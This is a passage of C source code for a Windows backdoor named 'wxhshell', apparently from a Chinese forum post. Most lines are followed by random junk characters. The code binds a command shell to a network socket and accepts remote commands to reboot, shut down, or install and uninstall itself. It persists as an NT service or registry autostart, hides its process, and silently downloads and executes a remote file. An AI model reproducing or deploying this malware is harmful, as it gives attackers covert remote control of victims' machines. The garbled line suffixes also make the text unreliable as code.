  case '?': { .xLF}{u  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C=dx4U~   
    break; *n*N|6 +  
  } PZ!dn%4jy  
  // 安装 #?$'nya*u  
  case 'i': { X# kjt )W  
    if(Install()) I~]Q55  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (XG[_  
    else Q+!0)pG5#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R<lNk<  
    break; ]zvVY:v  
    } +>!B(j\gx  
  // 卸载 5e/qgI)M5  
  case 'r': { l@tyg7CwY  
    if(Uninstall()) T$8@2[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZH;y>Z  
    else kToVBU$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g",wkO|  
    break; d(DX(xg  
    } :<t{ =0G  
  // 显示 wxhshell 所在路径 8G5) o`  
  case 'p': { Nr]8P/[~  
    char svExeFile[MAX_PATH]; yK&* ,J |  
    strcpy(svExeFile,"\n\r"); ANFg]g.Az  
      strcat(svExeFile,ExeFile); .?i-rTF:  
        send(wsh,svExeFile,strlen(svExeFile),0); C'8!cPFVv  
    break; EOBs}M;  
    } jI{~s]Q  
  // 重启 m,@1LwBH  
  case 'b': { F[7Kw"~J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L*UV  
    if(Boot(REBOOT)) aucZJjH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S[L#M;n  
    else { sMz^!RX@  
    closesocket(wsh); ?}=-eJ(7e  
    ExitThread(0); &'huS?g A9  
    } J~iOP  
    break; W8G9rB|T  
    } MS st  
  // 关机 b@2Cl l#  
  case 'd': { C?w <$DU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &$b\=  
    if(Boot(SHUTDOWN)) TDAWI_83-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .B 85!lCF  
    else { P>{US1t  
    closesocket(wsh); 42V,PH6o  
    ExitThread(0); dq YDz  
    } && DD  
    break; 3qAwBVWa  
    } m1hW<  
  // 获取shell u( 1J=h  
  case 's': { C@y}*XV[b  
    CmdShell(wsh); N>A{)_k3  
    closesocket(wsh); 9@#h}E1$  
    ExitThread(0); QM[A;WBr7  
    break; 3C rQBIj1  
  } d1~_?V'r]  
  // 退出 CYPazOfj  
  case 'x': { (2 T#/$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +9CEC1-l  
    CloseIt(wsh); *%T)\\H2  
    break; I #M%%5e  
    } ^s^ JzFw  
  // 离开 2gd<8a''  
  case 'q': { 861i3OXVE>  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Gh]_L+  
    closesocket(wsh); hncS_ZA  
    WSACleanup(); Pv/Pww \  
    exit(1); p~Hvl3SxR  
    break; 4AY _#f5u  
        } *<*0".#  
  } & Fg|%,fv]  
  } -,~;qSs  
%s$rP  
  // 提示信息 xl+DRPzl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zH)cU%I@.  
} 2PVx++*]C  
  } XYqpI/s  
0PnD|]9:  
  return; 2qZa9^}  
} 3[0w+{ (Q  
Yz&*PPx  
// shell模块句柄 QU^/[75Ea0  
int CmdShell(SOCKET sock) <91t`&aWW  
{ *2JH_Cj`  
STARTUPINFO si; o {=qC:b  
ZeroMemory(&si,sizeof(si)); I?_E,.)[ I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kAZC"qM%i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R* s* +I  
PROCESS_INFORMATION ProcessInfo; V#ndyUM;  
char cmdline[]="cmd"; kCima/+_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8G0  
  return 0; .M DYGWKt  
} nE/=:{~Ws  
uy/y wm/?=  
// 自身启动模式 .A3DFm3t  
int StartFromService(void) -"W)|oC_  
{ :8p&#M  
typedef struct BRQ"A,  
{ aB6Ye/Io  
  DWORD ExitStatus; 1<xcMn0et  
  DWORD PebBaseAddress; KxO/]  
  DWORD AffinityMask; )46 0 Ed  
  DWORD BasePriority; rkxW UDl   
  ULONG UniqueProcessId; :{[<g](  
  ULONG InheritedFromUniqueProcessId; u5Qp/ag?N  
}   PROCESS_BASIC_INFORMATION; 5^)?mA  
#v.L$7O  
PROCNTQSIP NtQueryInformationProcess; \'n$&PFe  
X'cf&>h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u-m%=2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q`H# fS~  
'5'3_vM  
  HANDLE             hProcess; No:^hY:F8  
  PROCESS_BASIC_INFORMATION pbi; 3c c1EQ9  
[^<SLTev  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !8.En8Z<D-  
  if(NULL == hInst ) return 0; B{s]juPG  
f#@S*^%V$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :3JCvrq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |q3f]T&+>{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 's)fO#  
bfFmTI$,  
  if (!NtQueryInformationProcess) return 0; 31WZJm^  
$Axng J c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {tPnj_|n<  
  if(!hProcess) return 0; m"n.Dz/S  
\CcmePTN#x  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; (nGkZ}p  
F[5S(7M 7  
  CloseHandle(hProcess); HtxLMzgz<<  
br b[})}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g^1r0.Sp{8  
if(hProcess==NULL) return 0; j5kA^MTG  
^w>&?A'!  
HMODULE hMod; f2NA=%\  
char procName[255]; vCj4;P g  
unsigned long cbNeeded; Hw Z^D= A  
|Eb&}m:E$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xJ-*%'(KZ  
UmJUt|  
  CloseHandle(hProcess); Zp`~}LV{  
.N5'.3  
if(strstr(procName,"services")) return 1; // 以服务启动 S#k{e72 *  
.>P~uZiX!  
  return 0; // 注册表启动 !~WZ_z  
} *2`:VFEV  
^%;"[r  
// 主模块 ?4,@, ae&  
int StartWxhshell(LPSTR lpCmdLine) 5? Wg%@  
{ cST\~SUm  
  SOCKET wsl; >;,gGH  
BOOL val=TRUE; $57\u/(  
  int port=0; A^-iHm  
  struct sockaddr_in door; W+8^P( K  
8/Mx5~ R  
  if(wscfg.ws_autoins) Install(); TM0b-W (H  
6#E7!-u(-  
port=atoi(lpCmdLine); kfXS_\@iW1  
aVP5%  
if(port<=0) port=wscfg.ws_port; ,(P %z.P@  
D3y>iQd   
  WSADATA data; wS V@=)H\:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  =^Th[B  
q-YL]PgV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x@Y|v@}BE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gV|Y54}T  
  door.sin_family = AF_INET; |~eY%LB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L;3aZt,#O  
  door.sin_port = htons(port); y`rL=N#  
$.a|ae|K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F99A;M8(  
closesocket(wsl); g92dw<$>  
return 1; Hq?&Qo  
} yxvjg\!&  
PcB{ = L  
  if(listen(wsl,2) == INVALID_SOCKET) { 0(8gQ 2n  
closesocket(wsl); DcN"=Y  
return 1; 'j}g  
} ehE-SrkU'  
  Wxhshell(wsl); FuuS"G,S  
  WSACleanup(); %*jGim~s  
: W~f;k  
return 0; eES'}[W>  
as(*B-_n~  
} >b>gr OX  
UT4f (Xo  
// 以NT服务方式启动 G,]z (%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) bE d?^h  
{ zks#EzQ  
DWORD   status = 0; ;, rnk-  
  DWORD   specificError = 0xfffffff; N!L'W\H,  
Pu..NPl+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !R74J=#(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?I[h~vr6.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^!}F%  
  serviceStatus.dwWin32ExitCode     = 0;  i S  
  serviceStatus.dwServiceSpecificExitCode = 0; Ihg~Q4t  
  serviceStatus.dwCheckPoint       = 0; ra]:$XJ5=a  
  serviceStatus.dwWaitHint       = 0; %K?iNe  
.fEw k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ukc'?p,*  
  if (hServiceStatusHandle==0) return; <(YF5Xm6$h  
FZp<|t  
status = GetLastError(); n' ?4.tb  
  if (status!=NO_ERROR) "U{,U`@?  
{ r1G8]agO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4 \ F P  
    serviceStatus.dwCheckPoint       = 0; |'<vrn  
    serviceStatus.dwWaitHint       = 0; xl8#=qmCD  
    serviceStatus.dwWin32ExitCode     = status; D#jX6  
    serviceStatus.dwServiceSpecificExitCode = specificError; j=W@P-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hM>*a!)U  
    return; P>wZ~Hjk  
  } #h N.=~  
.!yq@Q|=u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4fty~0i=z  
  serviceStatus.dwCheckPoint       = 0; DWrbp  
  serviceStatus.dwWaitHint       = 0; ]_u`EvEx6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E*k([ZL  
} O&V[g>x"U  
&Mj1CvCv  
// 处理NT服务事件,比如:启动、停止 BFh$.+D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !BUi)mo  
{ BI.V0@qZ  
switch(fdwControl) A$@o'Q;he  
{ :Fw?{0  
case SERVICE_CONTROL_STOP: Vv4H:BK$  
  serviceStatus.dwWin32ExitCode = 0; SA+d&H}Fc  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _CE9B e\  
  serviceStatus.dwCheckPoint   = 0; M/#U2!iFk  
  serviceStatus.dwWaitHint     = 0; .S!-e$EJ  
  { O>AFF@=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pq?*C;D  
  } v9rVpYc"  
  return; Q#pnj thM  
case SERVICE_CONTROL_PAUSE: h<% U["   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~<,Sh~Ana.  
  break; Gw{+xz KJ  
case SERVICE_CONTROL_CONTINUE: C3}Aq8$6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yp+F<5o  
  break; P}@*Z>j:#  
case SERVICE_CONTROL_INTERROGATE: a#y{pT2 b  
  break; dB3N%pB^  
}; %S`ik!K"I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~ziexZ=N  
} E >}q2  
S+ebO/$>  
// 标准应用程序主函数 b_vTGl1_6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3dG4pl~  
{ %[ Zz0|A  
bSrZ{l  
// 获取操作系统版本 k[9A,N^lZB  
OsIsNt=GetOsVer(); x=Mm6}/  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Wc|z7P~',%  
^|?1_r  
  // 从命令行安装 ?3jdg]&  
  if(strpbrk(lpCmdLine,"iI")) Install(); rzu s  
XLb0 9;  
  // 下载执行文件 A1-qtAO]  
if(wscfg.ws_downexe) { ^ ulps**e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~@P)tl>  
  WinExec(wscfg.ws_filenam,SW_HIDE); Rd%0\ B  
} KlU qoJ;"  
/U*yw5  
if(!OsIsNt) { uyT/Xzo3  
// 如果时win9x,隐藏进程并且设置为注册表启动 f#P_xn&et  
HideProc(); x?L hq2  
StartWxhshell(lpCmdLine); O2v.  
} 5pJ*1pfeo  
else L~eAQR  
  if(StartFromService()) b Us|t  
  // 以服务方式启动 t5) J;0/  
  StartServiceCtrlDispatcher(DispatchTable); TyOH`5 D  
else #DUh(:E'`  
  // 普通方式启动 _tj&Psp  
  StartWxhshell(lpCmdLine); nwf7M#3d  
4#:\?HAu!  
return 0; ~NNv>5 t5  
}
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只看该作者 1 发表于: 2006-10-10
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